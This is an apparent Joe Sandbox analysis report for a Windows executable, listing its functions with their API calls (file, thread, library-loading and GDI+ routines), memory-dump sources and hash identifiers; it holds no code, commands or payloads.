Instruction Fuzzy Hash: D9417B35A01254AFDB14DFA4D884BAD7FB6FF88700F144998E811AB2D1CB71DD44CBA1

Function 00B0EFEF Relevance: 6.1, APIs: 4, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3_GS.LIBCMT ref: 00B0EFF6
CreateDirectoryW.KERNELBASE(?,00000000,?,00000024,00B0EBA7,?,00000001,00000000,?,?,00000024,00B0A4DE,?,00000001,?,?), ref: 00B0F01F
CreateDirectoryW.KERNEL32(?,00000000,?,?,?,?,00000024,00B0EBA7,?,00000001,00000000,?,?,00000024,00B0A4DE,?), ref: 00B0F075
GetLastError.KERNEL32(?,?,00000024,00B0EBA7,?,00000001,00000000,?,?,00000024,00B0A4DE,?,00000001,?,?,00000000), ref: 00B0F0E3

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: CreateDirectory$ErrorH_prolog3_Last
String ID:
API String ID: 3709856315-0
Opcode ID: 2aa969ae394f5d1854458f148732621890120db8c4f40f0d94e1332aaddb4e5b
Instruction ID: 6151cb23ed76a093170a45a4c9a9b10c7cabb7e6ed3a1cfbb2ef6c649c0dce86
Opcode Fuzzy Hash: 2aa969ae394f5d1854458f148732621890120db8c4f40f0d94e1332aaddb4e5b
Instruction Fuzzy Hash: 85318371A0021A9BDF24DFE9D8889FEBFF9EF48300F1444AAE501E3691D7349985CB65

Function 00B0E019 Relevance: 6.1, APIs: 4, Instructions: 56fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F6,?,?,?,00000000,00B0E5D2,?,?,00000000,?,00000000), ref: 00B0E029
ReadFile.KERNELBASE(?,?,00000000,00100000,00000000,?,?,?,00000000,00B0E5D2,?,?,00000000,?,00000000), ref: 00B0E041
GetLastError.KERNEL32(?,?,?,00000000,00B0E5D2,?,?,00000000,?,00000000), ref: 00B0E073
GetLastError.KERNEL32(?,?,?,00000000,00B0E5D2,?,?,00000000,?,00000000), ref: 00B0E092

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: ErrorLast$FileHandleRead
String ID:
API String ID: 2244327787-0
Opcode ID: 24b2700bf32693e15d4c2119ba8381203592c24002ced93cf3cf0896249bd7c6
Instruction ID: 25f50008c0a2e6a2cb57318bdb212e0e0e8af16f137b29fe67f1bac719f0c299
Opcode Fuzzy Hash: 24b2700bf32693e15d4c2119ba8381203592c24002ced93cf3cf0896249bd7c6
Instruction Fuzzy Hash: D1117031500208EFDB245B60C946A6E3FE9FB41361F208EA9E476951D0EBB1DD44DB61

Function 00B17628 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE(00000000,00010000,Function_00017760,?,00000000,?), ref: 00B1764C
SetThreadPriority.KERNEL32(?,00000000,?,?,?,?,00000004,00B0736D,00B05AB0,?), ref: 00B17693

Part of subcall function 00B092EB: __EH_prolog3_GS.LIBCMT ref: 00B092F2

Part of subcall function 00B09500: __EH_prolog3_GS.LIBCMT ref: 00B09507

Strings

CreateThread failed, xrefs: 00B17658

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: H_prolog3_Thread$CreatePriority
String ID: CreateThread failed
API String ID: 3138599208-3849766595
Opcode ID: 3231b457906504b0837b331879696c110d8f9f9ff84636bdc1ff0d45fde9dcfc
Instruction ID: 241adde408f39b147793552dbcab9bcc207d9c9260f1d8af539d4cd60f71a91f
Opcode Fuzzy Hash: 3231b457906504b0837b331879696c110d8f9f9ff84636bdc1ff0d45fde9dcfc
Instruction Fuzzy Hash: C401A2722887066BE2246F68AC82BA677E8EB40711F2000AAF55697181CEE1A8448728

Function 00B0DE9A Relevance: 4.6, APIs: 3, Instructions: 115fileCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00B0DEA1
CreateFileW.KERNELBASE(?,?,?,00000000,00000002,00000000,00000000,?,00000024,00B0E8F5,?,?,00B0A6B9,?,00000011,?), ref: 00B0DF15
CreateFileW.KERNEL32(?,?,?,00000000,00000002,00000000,00000000,?,?,?,00B0D303,?,?,?), ref: 00B0DF65

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: CreateFile$H_prolog3_
String ID:
API String ID: 1771569470-0
Opcode ID: 82f93aa11e2cd8546c8f5197ae2f339d4cc5bbc57f4d50f03217d4e66196650e
Instruction ID: 85d0fb9387d6c08421e6285b802709fb1939353cfe06eecf3f2041994017b8be
Opcode Fuzzy Hash: 82f93aa11e2cd8546c8f5197ae2f339d4cc5bbc57f4d50f03217d4e66196650e
Instruction Fuzzy Hash: 814171718102099FDF24DFE8D889BEEBBF4EB08320F50965EE456E72D1D774A9448B24

Function 00B16C5E Relevance: 4.6, APIs: 3, Instructions: 90libraryCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00B16C65
GetSystemDirectoryW.KERNEL32(00000000,00000104), ref: 00B16C9A
LoadLibraryW.KERNELBASE(00000000,?,?,00000000,00000000,?), ref: 00B16D0C

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: DirectoryH_prolog3_LibraryLoadSystem
String ID:
API String ID: 1552931673-0
Opcode ID: a775cee35e10e192f013f8c1fb1b7b1907a3d74b59668af910e53e30cf7da4b3
Instruction ID: b6dab343de0886483b7f3ff9624a173c5c4120903cc17b65fed4949bb4cd0897
Opcode Fuzzy Hash: a775cee35e10e192f013f8c1fb1b7b1907a3d74b59668af910e53e30cf7da4b3
Instruction Fuzzy Hash: FA318C71D00248DFCB08DBE8D889BEEBBF9EF48314F20059AE105B7291DB345A85CB61

Function 00B0F58B Relevance: 4.6, APIs: 3, Instructions: 60COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00B0F592
SetFileAttributesW.KERNELBASE(?,?,00000024,00B0A724,?,?,?,00000011,?,?,00000000,?,?,?,?,?), ref: 00B0F5A8
SetFileAttributesW.KERNEL32(?,?,?,?,?,00B0D303,?,?,?,?,?,?,?,5EA84158,00000049), ref: 00B0F5EB

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: AttributesFile$H_prolog3_
String ID:
API String ID: 2559025557-0
Opcode ID: 1275d551f8e8fbb065323e244c76c8b03162b0e8714ac1c1f4bedc2fba420f99
Instruction ID: 5c8c410a60559f63582d38f8ef95b677ccfc7c406efc4e0685386427dbdc9a11
Opcode Fuzzy Hash: 1275d551f8e8fbb065323e244c76c8b03162b0e8714ac1c1f4bedc2fba420f99
Instruction Fuzzy Hash: 5B112971A10219EBCF14DFA4E8459EEBBF8FF08310F14446AF404E72A0DB359954CB64

Function 00B0EC63 Relevance: 4.6, APIs: 3, Instructions: 58fileCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00B0EC6A
DeleteFileW.KERNELBASE(?,00000024,00B0D6F7,?), ref: 00B0EC7D
DeleteFileW.KERNEL32(00000000,?,00000000), ref: 00B0ECBD

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: DeleteFile$H_prolog3_
String ID:
API String ID: 3558260747-0
Opcode ID: 74704c3940cd41fbe514d06abf8dfc8cee094ddde8fe56ab01c296da19c53741
Instruction ID: e68f61bde3caa7c9c63c9bbaec96f9020167ca158eadabb6c2ab9587b0f3dcd9
Opcode Fuzzy Hash: 74704c3940cd41fbe514d06abf8dfc8cee094ddde8fe56ab01c296da19c53741
Instruction Fuzzy Hash: 2B110771D10219DBDF14DFA8E889ADEBBF8EF08310F14446AE414F7290DB35E9848B64

Function 00B0ED1F Relevance: 4.6, APIs: 3, Instructions: 57COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00B0ED26
GetFileAttributesW.KERNELBASE(?,00000024,00B0ED16,00000000,00B0A4A1,5EA84158,?,00B0CDDD,?,?,?,?,?,?,?,?), ref: 00B0ED39
GetFileAttributesW.KERNELBASE(?,?,?), ref: 00B0ED79

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: AttributesFile$H_prolog3_
String ID:
API String ID: 2559025557-0
Opcode ID: 0f82712289ab91381a65698ae5382ace5a202ed65e43e7af38fc739cf7ff02a5
Instruction ID: 9b32b997e1740245c5c6f6e0c076efdf55e217232f9ed90a2b1d9c2d58e37391
Opcode Fuzzy Hash: 0f82712289ab91381a65698ae5382ace5a202ed65e43e7af38fc739cf7ff02a5
Instruction Fuzzy Hash: DF110775910218DBCF18DFA8E9899EDBBF9FB48320F14096AE514F3290DB3099458B64

Function 00B0E3D5 Relevance: 3.1, APIs: 2, Instructions: 140COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(000000FF,?,?,?,?,00000000,?,00000000,00B0E3B1,?,?,00000000,?,?,00B0CC21,?), ref: 00B0E55F
GetLastError.KERNEL32 ref: 00B0E56E

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 557fd4fc002006f1f90e5972756bd627fe7ff78fdfb4468c1da17d4b0f372c27
Instruction ID: 010b95f75abcf193db0d46524d4aa3bff51a73c3343c7ca64f143a69e8fead3a
Opcode Fuzzy Hash: 557fd4fc002006f1f90e5972756bd627fe7ff78fdfb4468c1da17d4b0f372c27
Instruction Fuzzy Hash: D241F4316043558BC7249F64D8846AEBBE5FB58320F144D9DD8A5833C1E7B4EC448BA2

Function 00B326D7 Relevance: 3.1, APIs: 2, Instructions: 91COMMON

Download Yara Rule

APIs

Part of subcall function 00B30005: GetLastError.KERNEL32(?,?,00B2B581,?,00B4E088,?,00B2AE80,?,00B4E088,?,00000007), ref: 00B30009
Part of subcall function 00B30005: _free.LIBCMT ref: 00B3003C
Part of subcall function 00B30005: SetLastError.KERNEL32(00000000,00B4E088,?,00000007), ref: 00B3007D
Part of subcall function 00B30005: _abort.LIBCMT ref: 00B30083

Part of subcall function 00B327FE: _abort.LIBCMT ref: 00B32830
Part of subcall function 00B327FE: _free.LIBCMT ref: 00B32864

Part of subcall function 00B3246B: GetOEMCP.KERNEL32(00000000,?,?,00B326F4,?), ref: 00B32496

_free.LIBCMT ref: 00B3274F
_free.LIBCMT ref: 00B32785

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: _free$ErrorLast_abort
String ID:
API String ID: 2991157371-0
Opcode ID: 81c7f57ce7da87e230564cd6fe75e148414d229c44d64deb43ebbc2986c583ef
Instruction ID: 9c7dcde3ad2bedccbafda007451599e36ba2a40f25ea7b8806ea78787573fe38
Opcode Fuzzy Hash: 81c7f57ce7da87e230564cd6fe75e148414d229c44d64deb43ebbc2986c583ef
Instruction Fuzzy Hash: F731B431914208EFDB10EFA9D881BA9B7F5FF41320F3541E9E514AB2A1EB729E41CB50

Function 00B0E772 Relevance: 3.1, APIs: 2, Instructions: 83timeCOMMON

Download Yara Rule

APIs

FlushFileBuffers.KERNEL32(?), ref: 00B0E78C
SetFileTime.KERNELBASE(?,?,?,?), ref: 00B0E840

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: File$BuffersFlushTime
String ID:
API String ID: 1392018926-0
Opcode ID: 53c4b3eabb54c8f560da11e277524ec942524956757316285086ad69176290c8
Instruction ID: a5aea7ded96993b9c88eccdca3519b906e74db0ccf856b379129cb4d83401e66
Opcode Fuzzy Hash: 53c4b3eabb54c8f560da11e277524ec942524956757316285086ad69176290c8
Instruction Fuzzy Hash: 0A21FD31289281ABC715DE64C881AABBFE8EF95304F084D9CF4E183181D728ED0CC762

Function 00B1FB4B Relevance: 3.1, APIs: 2, Instructions: 74COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00B1FB52
SHFileOperationW.SHELL32(?,?,?,?,?,?,00000000,00B5535C), ref: 00B1FC24

Part of subcall function 00B014A7: _wcslen.LIBCMT ref: 00B014B8

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: FileH_prolog3_Operation_wcslen
String ID:
API String ID: 3104323202-0
Opcode ID: 47d71d9360ccc0cdc2ba2ba0a06ee5899aa95f57e33e45ad5117cd5515a552f1
Instruction ID: da01ff542b35df42623c62d8456013c1df2ee6ba09421c21167238f190364255
Opcode Fuzzy Hash: 47d71d9360ccc0cdc2ba2ba0a06ee5899aa95f57e33e45ad5117cd5515a552f1
Instruction Fuzzy Hash: 96311671D01258DEDB15EFE9C895AEDBBF4BF08311F9401AAE419A72A1DB701A85CF10

Function 00B0E850 Relevance: 3.1, APIs: 2, Instructions: 56COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(000000FF,00000000,00000000,00000001), ref: 00B0E897
GetLastError.KERNEL32 ref: 00B0E8A4

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 88be492cbe51547279ed35793e5ea4d49ff410b11c08b5fa32e60af984de926c
Instruction ID: cefe1a3473736578dd5ecc7f6bdf3b1dc114cf9049d269f5179ee5f3ec034d1c
Opcode Fuzzy Hash: 88be492cbe51547279ed35793e5ea4d49ff410b11c08b5fa32e60af984de926c
Instruction Fuzzy Hash: 3711E531600700ABE7389664C8807AA7BE9EB45360F608BA9E072936D0D7B0ED05C760

Function 00B23C78 Relevance: 3.0, APIs: 2, Instructions: 46COMMON

Download Yara Rule

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 00B23C82
_wcslen.LIBCMT ref: 00B23C99

Part of subcall function 00B16A89: _wcslen.LIBCMT ref: 00B16AA6

Part of subcall function 00B0B03D: __EH_prolog3_GS.LIBCMT ref: 00B0B044

Part of subcall function 00B0B3E1: __EH_prolog3_GS.LIBCMT ref: 00B0B3E8

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: H_prolog3__wcslen$H_prolog3_catch_
String ID:
API String ID: 1265872803-0
Opcode ID: 6561c0e6e184465ced0f9d081bbf60abaa9e9184db148bb93dd1acf782cf0122
Instruction ID: 290293792bf164fe6a7970f895cb0c6c7a1403f881b207d2d9e5802847a55478
Opcode Fuzzy Hash: 6561c0e6e184465ced0f9d081bbf60abaa9e9184db148bb93dd1acf782cf0122
Instruction Fuzzy Hash: 9311A935911B909EC724EB689C31BDC7FF8AB15313F1441DAE44497393CFB05A448BA1

Function 00B01CE2 Relevance: 3.0, APIs: 2, Instructions: 45COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00B01CE9
GetDlgItem.USER32(?,?), ref: 00B01D01

Part of subcall function 00B014A7: _wcslen.LIBCMT ref: 00B014B8

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: H_prolog3_Item_wcslen
String ID:
API String ID: 896027972-0
Opcode ID: 1acbdf287b68ed361b56aabe9248cc32be82e588e1037fe41860e592e3e61060
Instruction ID: 321940b31eae9af75d06b610d7b2a3b448d5ef1f4f158f8592256f5f2a0e4b92
Opcode Fuzzy Hash: 1acbdf287b68ed361b56aabe9248cc32be82e588e1037fe41860e592e3e61060
Instruction Fuzzy Hash: EC01D4716416149FD728EFACC886BEDBFE8EF54300F500A9AF816A71E1CB709A01CB10

Function 00B176A7 Relevance: 3.0, APIs: 2, Instructions: 33COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(02000000,?,00000002,00000002,?,00B176EA,00B10B6F), ref: 00B176B4
GetProcessAffinityMask.KERNEL32(00000000,?,00B176EA), ref: 00B176BB

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: Process$AffinityCurrentMask
String ID:
API String ID: 1231390398-0
Opcode ID: 385ff71478e6f509ddd48e6efbd6dade55f08c1c24305449bc6fe90448fb82cc
Instruction ID: 51ed25f774bd1a7566a999466a1c9970b7d77ec250d477679292dda82a26ac29
Opcode Fuzzy Hash: 385ff71478e6f509ddd48e6efbd6dade55f08c1c24305449bc6fe90448fb82cc
Instruction Fuzzy Hash: 8AE09A32B94906A78F198BA9DC099EF76EEEA4424832440BAA453E3200ED74DE4157A0

Function 00B1F53A Relevance: 3.0, APIs: 2, Instructions: 31COMMON

Download Yara Rule

APIs

GdiplusShutdown.GDIPLUS(?,?,?,?,00B39B73,000000FF), ref: 00B1F578
CoUninitialize.COMBASE(?,?,?,?,00B39B73,000000FF), ref: 00B1F57D

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: GdiplusShutdownUninitialize
String ID:
API String ID: 3856339756-0
Opcode ID: 108de5d7dcae825302a1817eb44b083b0a8f628c82c9c48d957645cfeacd19bd
Instruction ID: 3b908e94d307b69f131e6193d56c2f911568e7181627e200ca997cc1d6627db7
Opcode Fuzzy Hash: 108de5d7dcae825302a1817eb44b083b0a8f628c82c9c48d957645cfeacd19bd
Instruction Fuzzy Hash: 8AF05E76604A14AFC711DF59EC41B5ABBE8FB49760F1042A6E416D3760DF74A800CA94

Function 00B1E849 Relevance: 3.0, APIs: 2, Instructions: 23windowCOMMON

Download Yara Rule

APIs

GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 00B1E86A
GdipCreateBitmapFromStream.GDIPLUS(?,?), ref: 00B1E871

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

